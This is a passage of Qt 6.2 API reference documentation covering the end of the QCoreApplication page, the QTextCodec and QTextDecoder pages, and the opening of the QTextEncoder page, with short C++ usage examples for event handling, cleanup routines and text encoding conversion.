 All event filters for this object are automatically removed when this object is destroyed.

 It is always safe to remove an event filter, even during event filter activation (i.e. from the nativeEventFilter() function).

 This function was introduced in Qt 5.0.

 **See also** [installNativeEventFilter](qcoreapplication#installNativeEventFilter)().

 ### 
`[static]` void QCoreApplication::removePostedEvents([QObject](qobject#QObject) \**receiver*, int *eventType* = 0)

 Removes all events of the given *eventType* that were posted using [postEvent](qcoreapplication#postEvent)() for *receiver*.

 The events are *not* dispatched, instead they are removed from the queue. You should never need to call this function. If you do call it, be aware that killing events may cause *receiver* to break one or more invariants.

 If *receiver* is `nullptr`, the events of *eventType* are removed for all objects. If *eventType* is 0, all the events are removed for *receiver*. You should never call this function with *eventType* of 0.

 **Note:** This function is [thread-safe](threads-reentrancy).

 ### 
`[static]` bool QCoreApplication::removeTranslator([QTranslator](qtranslator) \**translationFile*)

 Removes the translation file *translationFile* from the list of translation files used by this application. (It does not delete the translation file from the file system.)

 The function returns `true` on success and false on failure.

 **See also** [installTranslator](qcoreapplication#installTranslator)(), [translate](qcoreapplication#translate)(), and [QObject::tr](qobject#tr)().

 ### 
`[static]` bool QCoreApplication::sendEvent([QObject](qobject#QObject) \**receiver*, [QEvent](qevent) \**event*)

 Sends event *event* directly to receiver *receiver*, using the [notify](qcoreapplication#notify)() function. Returns the value that was returned from the event handler.

 The event is *not* deleted when the event has been sent. The normal approach is to create the event on the stack, for example:

 
```
QMouseEvent event(QEvent::MouseButtonPress, pos, 0, 0, 0);
QApplication::sendEvent(mainWindow, &event);
```
 **See also** [postEvent](qcoreapplication#postEvent)() and [notify](qcoreapplication#notify)().

 ### 
`[static]` void QCoreApplication::sendPostedEvents([QObject](qobject#QObject) \**receiver* = nullptr, int *event\_type* = 0)

 Immediately dispatches all events which have been previously queued with [QCoreApplication::postEvent](qcoreapplication#postEvent)() and which are for the object *receiver* and have the event type *event\_type*.

 Events from the window system are *not* dispatched by this function, but by [processEvents](qcoreapplication#processEvents)().

 If *receiver* is `nullptr`, the events of *event\_type* are sent for all objects. If *event\_type* is 0, all the events are sent for *receiver*.

  **Note:** This method must be called from the thread in which its [QObject](qobject) parameter, *receiver*, lives.

  **See also** [postEvent](qcoreapplication#postEvent)().

 ### 
`[static]` void QCoreApplication::setAttribute([Qt::ApplicationAttribute](qt#ApplicationAttribute-enum) *attribute*, bool *on* = true)

 Sets the attribute *attribute* if *on* is true; otherwise clears the attribute.

  **Note:** Some application attributes must be set **before** creating a [QCoreApplication](qcoreapplication) instance. Refer to the [Qt::ApplicationAttribute](qt#ApplicationAttribute-enum) documentation for more information.

  **See also** [testAttribute](qcoreapplication#testAttribute)().

 ### 
`[static]` void QCoreApplication::setEventDispatcher([QAbstractEventDispatcher](qabstracteventdispatcher) \**eventDispatcher*)

 Sets the event dispatcher for the main thread to *eventDispatcher*. This is only possible as long as there is no event dispatcher installed yet. That is, before [QCoreApplication](qcoreapplication) has been instantiated. This method takes ownership of the object.

 **See also** [eventDispatcher](qcoreapplication#eventDispatcher)().

 ### 
`[static]` void QCoreApplication::setLibraryPaths(const [QStringList](qstringlist) &*paths*)

 Sets the list of directories to search when loading plugins with [QLibrary](qlibrary) to *paths*. All existing paths will be deleted and the path list will consist of the paths given in *paths* and the path to the application.

 The library paths are reset to the default when an instance of [QCoreApplication](qcoreapplication) is destructed.

 **See also** [libraryPaths](qcoreapplication#libraryPaths)(), [addLibraryPath](qcoreapplication#addLibraryPath)(), [removeLibraryPath](qcoreapplication#removeLibraryPath)(), and [QLibrary](qlibrary).

 ### 
`[static, since 5.3]` void QCoreApplication::setSetuidAllowed(bool *allow*)

 Allows the application to run setuid on UNIX platforms if *allow* is true.

 If *allow* is false (the default) and Qt detects the application is running with an effective user id different than the real user id, the application will be aborted when a [QCoreApplication](qcoreapplication) instance is created.

 Qt is not an appropriate solution for setuid programs due to its large attack surface. However some applications may be required to run in this manner for historical reasons. This flag will prevent Qt from aborting the application when this is detected, and must be set before a [QCoreApplication](qcoreapplication) instance is created.

  **Note:** It is strongly recommended not to enable this option since it introduces security risks.

  This function was introduced in Qt 5.3.

 **See also** [isSetuidAllowed](qcoreapplication#isSetuidAllowed)().

 ### 
`[static]` bool QCoreApplication::startingUp()

 Returns `true` if an application object has not been created yet; otherwise returns `false`.

 **See also** [closingDown](qcoreapplication#closingDown)().

 ### 
`[static]` bool QCoreApplication::testAttribute([Qt::ApplicationAttribute](qt#ApplicationAttribute-enum) *attribute*)

 Returns `true` if attribute *attribute* is set; otherwise returns `false`.

 **See also** [setAttribute](qcoreapplication#setAttribute)().

 ### 
`[static]` [QString](qstring) QCoreApplication::translate(const char \**context*, const char \**sourceText*, const char \**disambiguation* = nullptr, int *n* = -1)

 Returns the translation text for *sourceText*, by querying the installed translation files. The translation files are searched from the most recently installed file back to the first installed file.

 [QObject::tr](qobject#tr)() provides this functionality more conveniently.

 *context* is typically a class name (e.g., "MyDialog") and *sourceText* is either English text or a short identifying text.

 *disambiguation* is an identifying string, for when the same *sourceText* is used in different roles within the same context. By default, it is `nullptr`.

 See the [QTranslator](qtranslator) and [QObject::tr](qobject#tr)() documentation for more information about contexts, disambiguations and comments.

 *n* is used in conjunction with `%n` to support plural forms. See [QObject::tr](qobject#tr)() for details.

 If none of the translation files contain a translation for *sourceText* in *context*, this function returns a [QString](qstring) equivalent of *sourceText*.

 This function is not virtual. You can use alternative translation techniques by subclassing [QTranslator](qtranslator).

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [QObject::tr](qobject#tr)(), [installTranslator](qcoreapplication#installTranslator)(), [removeTranslator](qcoreapplication#removeTranslator)(), and translate().

  Related Non-Members
-------------------

 ### 
void qAddPostRoutine(QtCleanUpFunction *ptr*)

 Adds a global routine that will be called from the [QCoreApplication](qcoreapplication) destructor. This function is normally used to add cleanup routines for program-wide functionality.

 The cleanup routines are called in the reverse order of their addition.

 The function specified by *ptr* should take no arguments and should return nothing. For example:

 
```
static int *global_ptr = nullptr;

static void cleanup_ptr()
{
    delete [] global_ptr;
    global_ptr = nullptr;
}

void init_ptr()
{
    global_ptr = new int[100];      // allocate data
    qAddPostRoutine(cleanup_ptr);   // delete later
}
```
 Note that for an application- or module-wide cleanup, qAddPostRoutine() is often not suitable. For example, if the program is split into dynamically loaded modules, the relevant module may be unloaded long before the [QCoreApplication](qcoreapplication) destructor is called. In such cases, if using qAddPostRoutine() is still desirable, [qRemovePostRoutine](qcoreapplication#qRemovePostRoutine)() can be used to prevent a routine from being called by the [QCoreApplication](qcoreapplication) destructor. For example, if that routine was called before the module was unloaded.

 For modules and libraries, using a reference-counted initialization manager or Qt's parent-child deletion mechanism may be better. Here is an example of a private class that uses the parent-child mechanism to call a cleanup function at the right time:

 
```
class MyPrivateInitStuff : public QObject
{
public:
    static MyPrivateInitStuff *initStuff(QObject *parent)
    {
        if (!p)
            p = new MyPrivateInitStuff(parent);
        return p;
    }

    ~MyPrivateInitStuff()
    {
        // cleanup goes here
    }

private:
    MyPrivateInitStuff(QObject *parent)
        : QObject(parent)
    {
        // initialization goes here
    }

    MyPrivateInitStuff *p;
};
```
 By selecting the right parent object, this can often be made to clean up the module's data at the right moment.

  **Note:** This function has been thread-safe since Qt 5.10.

  **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [qRemovePostRoutine](qcoreapplication#qRemovePostRoutine)().

 ### 
`[since 5.3]` void qRemovePostRoutine(QtCleanUpFunction *ptr*)

 Removes the cleanup routine specified by *ptr* from the list of routines called by the [QCoreApplication](qcoreapplication) destructor. The routine must have been previously added to the list by a call to [qAddPostRoutine](qcoreapplication#qAddPostRoutine)(), otherwise this function has no effect.

  **Note:** This function has been thread-safe since Qt 5.10.

  **Note:** This function is [thread-safe](threads-reentrancy).

 This function was introduced in Qt 5.3.

 **See also** [qAddPostRoutine](qcoreapplication#qAddPostRoutine)().

   Macro Documentation
-------------------

 ### 
`[since 5.1]` Q\_COREAPP\_STARTUP\_FUNCTION(QtStartUpFunction *ptr*)

 Adds a global function that will be called from the [QCoreApplication](qcoreapplication) constructor. This macro is normally used to initialize libraries for program-wide functionality, without requiring the application to call into the library for initialization.

 The function specified by *ptr* should take no arguments and should return nothing. For example:

 
```
// Called once QCoreApplication exists
static void preRoutineMyDebugTool()
{
    MyDebugTool* tool = new MyDebugTool(QCoreApplication::instance());
    QCoreApplication::instance()->installEventFilter(tool);
}

Q_COREAPP_STARTUP_FUNCTION(preRoutineMyDebugTool)
```
 Note that the startup function will run at the end of the [QCoreApplication](qcoreapplication) constructor, before any GUI initialization. If GUI code is required in the function, use a timer (or a queued invocation) to perform the initialization later on, from the event loop.

 If [QCoreApplication](qcoreapplication) is deleted and another [QCoreApplication](qcoreapplication) is created, the startup function will be invoked again.

  **Note:** This macro is not suitable for use in library code that is then statically linked into an application since the function may not be called at all due to being eliminated by the linker.

  **Note:** This function is [reentrant](17-qdoc-commands-thread#reentrant).

 This function was introduced in Qt 5.1.

 ### 
Q\_DECLARE\_TR\_FUNCTIONS(*context*)

 The Q\_DECLARE\_TR\_FUNCTIONS() macro declares and implements the translation function `tr()` with this signature:

 
```
static inline QString tr(const char *sourceText,
                         const char *comment = nullptr);
```
 This macro is useful if you want to use [QObject::tr](qobject#tr)() in classes that don't inherit from [QObject](qobject).

 Q\_DECLARE\_TR\_FUNCTIONS() must appear at the very top of the class definition (before the first `public:` or `protected:`). For example:

 
```
class MyMfcView : public CView
{
    Q_DECLARE_TR_FUNCTIONS(MyMfcView)

public:
    MyMfcView();
    ...
};
```
 The *context* parameter is normally the class name, but it can be any text.

 **See also** [Q\_OBJECT](qobject#Q_OBJECT) and [QObject::tr](qobject#tr)().

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qcoreapplication.html>

QTextCodec Class
================

 The QTextCodec class provides conversions between text encodings. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QTextCodec> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core5Compat REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core5Compat) |
|  qmake: |  QT += core5compat |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qtextcodec-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qtextcodec-obsolete.html)

 **Note:** All functions in this class are [reentrant](threads-reentrancy).

 * [setCodecForLocale](qtextcodec#setCodecForLocale)()
* [~QTextCodec](qtextcodec#dtor.QTextCodec)()

 **Note:** These functions are also [thread-safe](threads-reentrancy):

 * [codecForName](qtextcodec#codecForName)()
* [codecForMib](qtextcodec#codecForMib)()
* [availableCodecs](qtextcodec#availableCodecs)()
* [availableMibs](qtextcodec#availableMibs)()
* [codecForLocale](qtextcodec#codecForLocale)()

 Public Types
------------

 

|  |  |
| --- | --- |
|  | **[ConversionFlags](qtextcodec#ConversionFlags-typedef)** |
|  | **[ConverterState](qtextcodec#ConverterState-typedef)** |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  virtual QList<QByteArray>  | **[aliases](qtextcodec#aliases)**() const |
|  bool  | **[canEncode](qtextcodec#canEncode)**(QChar *ch*) const |
|  bool  | **[canEncode](qtextcodec#canEncode-1)**(const QString &*s*) const |
|  bool  | **[canEncode](qtextcodec#canEncode-2)**(QStringView *s*) const |
|  QByteArray  | **[fromUnicode](qtextcodec#fromUnicode)**(const QString &*str*) const |
|  QByteArray  | **[fromUnicode](qtextcodec#fromUnicode-1)**(QStringView *str*) const |
|  QByteArray  | **[fromUnicode](qtextcodec#fromUnicode-2)**(const QChar \**input*, int *number*, QTextCodec::ConverterState \**state* = nullptr) const |
|  QTextDecoder \* | **[makeDecoder](qtextcodec#makeDecoder)**(QTextCodec::ConversionFlags *flags* = DefaultConversion) const |
|  QTextEncoder \* | **[makeEncoder](qtextcodec#makeEncoder)**(QTextCodec::ConversionFlags *flags* = DefaultConversion) const |
|  virtual int  | **[mibEnum](qtextcodec#mibEnum)**() const = 0 |
|  virtual QByteArray  | **[name](qtextcodec#name)**() const = 0 |
|  QString  | **[toUnicode](qtextcodec#toUnicode)**(const QByteArray &*a*) const |
|  QString  | **[toUnicode](qtextcodec#toUnicode-1)**(const char \**chars*) const |
|  QString  | **[toUnicode](qtextcodec#toUnicode-2)**(const char \**input*, int *size*, QTextCodec::ConverterState \**state* = nullptr) const |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QList<QByteArray>  | **[availableCodecs](qtextcodec#availableCodecs)**() |
|  QList<int>  | **[availableMibs](qtextcodec#availableMibs)**() |
|  QTextCodec \* | **[codecForHtml](qtextcodec#codecForHtml)**(const QByteArray &*ba*, QTextCodec \**defaultCodec*) |
|  QTextCodec \* | **[codecForHtml](qtextcodec#codecForHtml-1)**(const QByteArray &*ba*) |
|  QTextCodec \* | **[codecForLocale](qtextcodec#codecForLocale)**() |
|  QTextCodec \* | **[codecForMib](qtextcodec#codecForMib)**(int *mib*) |
|  QTextCodec \* | **[codecForName](qtextcodec#codecForName)**(const QByteArray &*name*) |
|  QTextCodec \* | **[codecForName](qtextcodec#codecForName-1)**(const char \**name*) |
|  QTextCodec \* | **[codecForUtfText](qtextcodec#codecForUtfText)**(const QByteArray &*ba*, QTextCodec \**defaultCodec*) |
|  QTextCodec \* | **[codecForUtfText](qtextcodec#codecForUtfText-1)**(const QByteArray &*ba*) |
|  void  | **[setCodecForLocale](qtextcodec#setCodecForLocale)**(QTextCodec \**c*) |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  | **[QTextCodec](qtextcodec#QTextCodec-1)**() |
|  virtual  | **[~QTextCodec](qtextcodec#dtor.QTextCodec)**() |
|  virtual QByteArray  | **[convertFromUnicode](qtextcodec#convertFromUnicode)**(const QChar \**input*, int *number*, QTextCodec::ConverterState \**state*) const = 0 |
|  virtual QString  | **[convertToUnicode](qtextcodec#convertToUnicode)**(const char \**chars*, int *len*, QTextCodec::ConverterState \**state*) const = 0 |

 Detailed Description
--------------------

 Qt uses Unicode to store, draw and manipulate strings. In many situations you may wish to deal with data that uses a different encoding. For example, most Japanese documents are still stored in Shift-JIS or ISO 2022-JP, while Russian users often have their documents in KOI8-R or Windows-1251.

 Qt provides a set of QTextCodec classes to help with converting non-Unicode formats to and from Unicode. You can also create your own codec classes.

 The supported encodings are:

 * [Big5](codec-big5)
* [Big5-HKSCS](codec-big5hkscs)
* CP949
* [EUC-JP](codec-eucjp)
* [EUC-KR](codec-euckr)
* [GB18030](codec-gbk)
* HP-ROMAN8
* IBM 850
* IBM 866
* IBM 874
* [ISO 2022-JP](codecs-jis)
* ISO 8859-1 to 10
* ISO 8859-13 to 16
* Iscii-Bng, Dev, Gjr, Knd, Mlm, Ori, Pnj, Tlg, and Tml
* KOI8-R
* KOI8-U
* Macintosh
* [Shift-JIS](codec-sjis)
* TIS-620
* [TSCII](codec-tscii)
* UTF-8
* UTF-16
* UTF-16BE
* UTF-16LE
* UTF-32
* UTF-32BE
* UTF-32LE
* Windows-1250 to 1258

 If Qt is compiled with ICU support enabled, most codecs supported by ICU will also be available to the application.

 [QTextCodec](qtextcodec)s can be used as follows to convert some locally encoded string to Unicode. Suppose you have some string encoded in Russian KOI8-R encoding, and want to convert it to Unicode. The simple way to do it is like this:

 
```
QByteArray encodedString = "...";
QTextCodec *codec = QTextCodec::codecForName("KOI8-R");
QString string = codec->toUnicode(encodedString);
```
 After this, `string` holds the text converted to Unicode. Converting a string from Unicode to the local encoding is just as easy:

 
```
QString string = "...";
QTextCodec *codec = QTextCodec::codecForName("KOI8-R");
QByteArray encodedString = codec->fromUnicode(string);
```
 Some care must be taken when trying to convert the data in chunks, for example, when receiving it over a network. In such cases it is possible that a multi-byte character will be split over two chunks. At best this might result in the loss of a character and at worst cause the entire conversion to fail.

 The approach to use in these situations is to create a [QTextDecoder](qtextdecoder) object for the codec and use this [QTextDecoder](qtextdecoder) for the whole decoding process, as shown below:

 
```
QTextCodec *codec = QTextCodec::codecForName("Shift-JIS");
QTextDecoder *decoder = codec->makeDecoder();

QString string;
while (new_data_available()) {
    QByteArray chunk = get_new_data();
    string += decoder->toUnicode(chunk);
}
delete decoder;
```
 The [QTextDecoder](qtextdecoder) object maintains state between chunks and therefore works correctly even if a multi-byte character is split between chunks.

 ### Creating Your Own Codec Class

 Support for new text encodings can be added to Qt by creating QTextCodec subclasses.

 The pure virtual functions describe the encoder to the system and the coder is used as required in the different text file formats supported by [QTextStream](qtextstream), and under X11, for the locale-specific character input and output.

 To add support for another encoding to Qt, make a subclass of QTextCodec and implement the functions listed in the table below.

 

| Function | Description |
| --- | --- |
| [name](qtextcodec#name)() | Returns the official name for the encoding. If the encoding is listed in the [IANA character-sets encoding file](http://www.iana.org/assignments/character-sets/character-sets.xml), the name should be the preferred MIME name for the encoding. |
| [aliases](qtextcodec#aliases)() | Returns a list of alternative names for the encoding. QTextCodec provides a default implementation that returns an empty list. For example, "ISO-8859-1" has "latin1", "CP819", "IBM819", and "iso-ir-100" as aliases. |
| [mibEnum](qtextcodec#mibEnum)() | Return the MIB enum for the encoding if it is listed in the [IANA character-sets encoding file](http://www.iana.org/assignments/character-sets/character-sets.xml). |
| [convertToUnicode](qtextcodec#convertToUnicode)() | Converts an 8-bit character string to Unicode. |
| [convertFromUnicode](qtextcodec#convertFromUnicode)() | Converts a Unicode string to an 8-bit character string. |

 **See also** [QTextStream](qtextstream), [QTextDecoder](qtextdecoder), and [QTextEncoder](qtextencoder).

 Member Type Documentation
-------------------------

 ### 
`[alias]` QTextCodec::ConversionFlags

 

| Constant | Description |
| --- | --- |
| `DefaultConversion` | No flag is set. |
| `ConvertInvalidToNull` | If this flag is set, each invalid input character is output as a null character. |
| `IgnoreHeader` | Ignore any Unicode byte-order mark and don't generate any. |

 ### 
`[alias]` QTextCodec::ConverterState

 Member Function Documentation
-----------------------------

 ### 
`[protected]` QTextCodec::QTextCodec()

 Constructs a QTextCodec, and gives it the highest precedence. The QTextCodec should always be constructed on the heap (i.e. with `new`). Qt takes ownership and will delete it when the application terminates.

 ### 
`[virtual protected]` QTextCodec::~QTextCodec()

 Destroys the [QTextCodec](qtextcodec). Note that you should not delete codecs yourself: once created they become Qt's responsibility.

 **Warning:** This function is not [reentrant](threads-reentrancy).

 ### 
`[virtual]` [QList](qlist)<[QByteArray](qbytearray)> QTextCodec::aliases() const

 Subclasses can return a number of aliases for the codec in question.

 Standard aliases for codecs can be found in the [IANA character-sets encoding file](http://www.iana.org/assignments/character-sets/character-sets.xml).

 ### 
`[static]` [QList](qlist)<[QByteArray](qbytearray)> QTextCodec::availableCodecs()

 Returns the list of all available codecs, by name. Call [QTextCodec::codecForName](qtextcodec#codecForName)() to obtain the [QTextCodec](qtextcodec) for the name.

 The list may contain many mentions of the same codec if the codec has aliases.

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [availableMibs](qtextcodec#availableMibs)(), [name](qtextcodec#name)(), and [aliases](qtextcodec#aliases)().

 ### 
`[static]` [QList](qlist)<int> QTextCodec::availableMibs()

 Returns the list of MIBs for all available codecs. Call [QTextCodec::codecForMib](qtextcodec#codecForMib)() to obtain the [QTextCodec](qtextcodec) for the MIB.

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [availableCodecs](qtextcodec#availableCodecs)() and [mibEnum](qtextcodec#mibEnum)().

 ### 
bool QTextCodec::canEncode([QChar](qchar) *ch*) const

 Returns `true` if the Unicode character *ch* can be fully encoded with this codec; otherwise returns `false`.

 ### 
bool QTextCodec::canEncode(const [QString](qstring) &*s*) const

 This is an overloaded function.

 *s* contains the string being tested for encode-ability.

 ### 
`[since 5.10]` bool QTextCodec::canEncode([QStringView](qstringview) *s*) const

 This is an overloaded function.

 Returns `true` if the Unicode string *s* can be fully encoded with this codec; otherwise returns `false`.

 This function was introduced in Qt 5.10.

 ### 
`[static]` QTextCodec \*QTextCodec::codecForHtml(const [QByteArray](qbytearray) &*ba*, QTextCodec \**defaultCodec*)

 Tries to detect the encoding of the provided snippet of HTML in the given byte array, *ba*, by checking the BOM (Byte Order Mark) and the content-type meta header and returns a [QTextCodec](qtextcodec) instance that is capable of decoding the html to unicode. If the codec cannot be detected from the content provided, *defaultCodec* is returned.

 **See also** [codecForUtfText](qtextcodec#codecForUtfText)().

 ### 
`[static]` QTextCodec \*QTextCodec::codecForHtml(const [QByteArray](qbytearray) &*ba*)

 This is an overloaded function.

 Tries to detect the encoding of the provided snippet of HTML in the given byte array, *ba*, by checking the BOM (Byte Order Mark) and the content-type meta header and returns a [QTextCodec](qtextcodec) instance that is capable of decoding the html to unicode. If the codec cannot be detected, this overload returns a Latin-1 [QTextCodec](qtextcodec).

 ### 
`[static]` QTextCodec \*QTextCodec::codecForLocale()

 Returns a pointer to the codec most suitable for this locale.

 The codec will be retrieved from ICU where that backend is in use, otherwise it may be obtained from an OS-specific API. In the latter case, the codec's name may be "System".

 **Note:** This function is [thread-safe](threads-reentrancy).

 **See also** [setCodecForLocale](qtextcodec#setCodecForLocale)().

 ### 
`[static]` QTextCodec \*QTextCodec::codecForMib(int *mib*)

 Returns the [QTextCodec](qtextcodec) which matches the [MIBenum](qtextcodec#mibEnum) *mib*.

 **Note:** This function is [thread-safe](threads-reentrancy).

 ### 
`[static]` QTextCodec \*QTextCodec::codecForName(const [QByteArray](qbytearray) &*name*)

 Searches all installed [QTextCodec](qtextcodec) objects and returns the one which best matches *name*; the match is case-insensitive. Returns 0 if no codec matching the name *name* could be found.

 **Note:** This function is [thread-safe](threads-reentrancy).

 ### 
`[static]` QTextCodec \*QTextCodec::codecForName(const char \**name*)

 Searches all installed [QTextCodec](qtextcodec) objects and returns the one which best matches *name*; the match is case-insensitive. Returns 0 if no codec matching the name *name* could be found.

 ### 
`[static]` QTextCodec \*QTextCodec::codecForUtfText(const [QByteArray](qbytearray) &*ba*, QTextCodec \**defaultCodec*)

 Tries to detect the encoding of the provided snippet *ba* by using the BOM (Byte Order Mark) and returns a [QTextCodec](qtextcodec) instance that is capable of decoding the text to unicode. This function can detect one of the following codecs:

 * UTF-32 Little Endian
* UTF-32 Big Endian
* UTF-16 Little Endian
* UTF-16 Big Endian
* UTF-8

 If the codec cannot be detected from the content provided, *defaultCodec* is returned.

 **See also** [codecForHtml](qtextcodec#codecForHtml)().

 ### 
`[static]` QTextCodec \*QTextCodec::codecForUtfText(const [QByteArray](qbytearray) &*ba*)

 This is an overloaded function.

 Tries to detect the encoding of the provided snippet *ba* by using the BOM (Byte Order Mark) and returns a [QTextCodec](qtextcodec) instance that is capable of decoding the text to unicode. This function can detect one of the following codecs:

 * UTF-32 Little Endian
* UTF-32 Big Endian
* UTF-16 Little Endian
* UTF-16 Big Endian
* UTF-8

 If the codec cannot be detected from the content provided, this overload returns a Latin-1 [QTextCodec](qtextcodec).

 **See also** [codecForHtml](qtextcodec#codecForHtml)().

 ### 
`[pure virtual protected]` [QByteArray](qbytearray) QTextCodec::convertFromUnicode(const [QChar](qchar) \**input*, int *number*, QTextCodec::ConverterState \**state*) const

 [QTextCodec](qtextcodec) subclasses must reimplement this function.

 Converts the first *number* of characters from the *input* array from Unicode to the encoding of the subclass, and returns the result in a [QByteArray](qbytearray).

 *state* can be `nullptr` in which case the conversion is stateless and default conversion rules should be used. If state is not 0, the codec should save the state after the conversion in *state*, and adjust the `remainingChars` and `invalidChars` members of the struct.

 ### 
`[pure virtual protected]` [QString](qstring) QTextCodec::convertToUnicode(const char \**chars*, int *len*, QTextCodec::ConverterState \**state*) const

 [QTextCodec](qtextcodec) subclasses must reimplement this function.

 Converts the first *len* characters of *chars* from the encoding of the subclass to Unicode, and returns the result in a [QString](qstring).

 *state* can be `nullptr`, in which case the conversion is stateless and default conversion rules should be used. If state is not 0, the codec should save the state after the conversion in *state*, and adjust the `remainingChars` and `invalidChars` members of the struct.

 ### 
[QByteArray](qbytearray) QTextCodec::fromUnicode(const [QString](qstring) &*str*) const

 Converts *str* from Unicode to the encoding of this codec, and returns the result in a [QByteArray](qbytearray).

 ### 
`[since 5.10]` [QByteArray](qbytearray) QTextCodec::fromUnicode([QStringView](qstringview) *str*) const

 This is an overloaded function.

 Converts *str* from Unicode to the encoding of this codec, and returns the result in a [QByteArray](qbytearray).

 This function was introduced in Qt 5.10.

 ### 
[QByteArray](qbytearray) QTextCodec::fromUnicode(const [QChar](qchar) \**input*, int *number*, QTextCodec::ConverterState \**state* = nullptr) const

 Converts the first *number* of characters from the *input* array from Unicode to the encoding of this codec, and returns the result in a [QByteArray](qbytearray).

 The *state* of the convertor used is updated.

 ### 
[QTextDecoder](qtextdecoder) \*QTextCodec::makeDecoder(QTextCodec::ConversionFlags *flags* = DefaultConversion) const

 Creates a [QTextDecoder](qtextdecoder) with a specified *flags* to decode chunks of `char *` data to create chunks of Unicode data.

 The caller is responsible for deleting the returned object.

 ### 
[QTextEncoder](qtextencoder) \*QTextCodec::makeEncoder(QTextCodec::ConversionFlags *flags* = DefaultConversion) const

 Creates a [QTextEncoder](qtextencoder) with a specified *flags* to encode chunks of Unicode data as `char *` data.

 The caller is responsible for deleting the returned object.

 ### 
`[pure virtual]` int QTextCodec::mibEnum() const

 Subclasses of [QTextCodec](qtextcodec) must reimplement this function. It returns the MIBenum (see [IANA character-sets encoding file](http://www.iana.org/assignments/character-sets/character-sets.xml) for more information). It is important that each [QTextCodec](qtextcodec) subclass returns the correct unique value for this function.

 ### 
`[pure virtual]` [QByteArray](qbytearray) QTextCodec::name() const

 [QTextCodec](qtextcodec) subclasses must reimplement this function. It returns the name of the encoding supported by the subclass.

 If the codec is registered as a character set in the [IANA character-sets encoding file](http://www.iana.org/assignments/character-sets/character-sets.xml) this method should return the preferred mime name for the codec if defined, otherwise its name.

 ### 
`[static]` void QTextCodec::setCodecForLocale(QTextCodec \**c*)

 Set the codec to *c*; this will be returned by [codecForLocale](qtextcodec#codecForLocale)(). If *c* is `nullptr`, the codec is reset to the default.

 This might be needed for some applications that want to use their own mechanism for setting the locale.

 **Warning:** This function is not [reentrant](threads-reentrancy).

 **See also** [codecForLocale](qtextcodec#codecForLocale)().

 ### 
[QString](qstring) QTextCodec::toUnicode(const [QByteArray](qbytearray) &*a*) const

 Converts *a* from the encoding of this codec to Unicode, and returns the result in a [QString](qstring).

 ### 
[QString](qstring) QTextCodec::toUnicode(const char \**chars*) const

 This is an overloaded function.

 *chars* contains the source characters.

 ### 
[QString](qstring) QTextCodec::toUnicode(const char \**input*, int *size*, QTextCodec::ConverterState \**state* = nullptr) const

 Converts the first *size* characters from the *input* from the encoding of this codec to Unicode, and returns the result in a [QString](qstring).

 The *state* of the convertor used is updated.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtextcodec.html>

QTextDecoder Class
==================

 The QTextDecoder class provides a state-based decoder. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QTextDecoder> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core5Compat REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core5Compat) |
|  qmake: |  QT += core5compat |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qtextdecoder-members.html)

 **Note:** All functions in this class are [reentrant](threads-reentrancy).

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QTextDecoder](qtextdecoder#QTextDecoder-2)**(const QTextCodec \**codec*, QTextCodec::ConversionFlags *flags*) |
|  | **[QTextDecoder](qtextdecoder#QTextDecoder-1)**(const QTextCodec \**codec*) |
|  | **[~QTextDecoder](qtextdecoder#dtor.QTextDecoder)**() |
|  QString  | **[toUnicode](qtextdecoder#toUnicode)**(const char \**chars*, int *len*) |
|  QString  | **[toUnicode](qtextdecoder#toUnicode-1)**(const QByteArray &*ba*) |
|  void  | **[toUnicode](qtextdecoder#toUnicode-2)**(QString \**target*, const char \**chars*, int *len*) |

 Detailed Description
--------------------

 A text decoder converts text from an encoded text format into Unicode using a specific codec.

 The decoder converts text in this format into Unicode, remembering any state that is required between calls.

 **See also** [QTextCodec::makeDecoder](qtextcodec#makeDecoder)() and [QTextEncoder](qtextencoder).

 Member Function Documentation
-----------------------------

 ### QTextDecoder::QTextDecoder(const [QTextCodec](qtextcodec) \**codec*, QTextCodec::ConversionFlags *flags*)

 Constructs a text decoder for the given *codec* and conversion *flags*.

 ### QTextDecoder::QTextDecoder(const [QTextCodec](qtextcodec) \**codec*)

 Constructs a text decoder for the given *codec*.

 ### QTextDecoder::~QTextDecoder()

 Destroys the decoder.

 ### 
[QString](qstring) QTextDecoder::toUnicode(const char \**chars*, int *len*)

 Converts the first *len* bytes in *chars* to Unicode, returning the result.

 If not all characters are used (e.g. if only part of a multi-byte encoding is at the end of the characters), the decoder remembers enough state to continue with the next call to this function.

 ### 
[QString](qstring) QTextDecoder::toUnicode(const [QByteArray](qbytearray) &*ba*)

 This is an overloaded function.

 Converts the bytes in the byte array specified by *ba* to Unicode and returns the result.

 ### 
void QTextDecoder::toUnicode([QString](qstring) \**target*, const char \**chars*, int *len*)

 This is an overloaded function.

 The converted string is returned in *target*.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtextdecoder.html>

QTextEncoder Class
==================

 The QTextEncoder class provides a state-based encoder. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QTextEncoder> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core5Compat REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core5Compat) |
|  qmake: |  QT += core5compat |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qtextencoder-members.html)

 **Note:** All functions in this class are [reentrant](threads-reentrancy).

 Public Functions
----------------

 

|  |  |
| --- | --- |
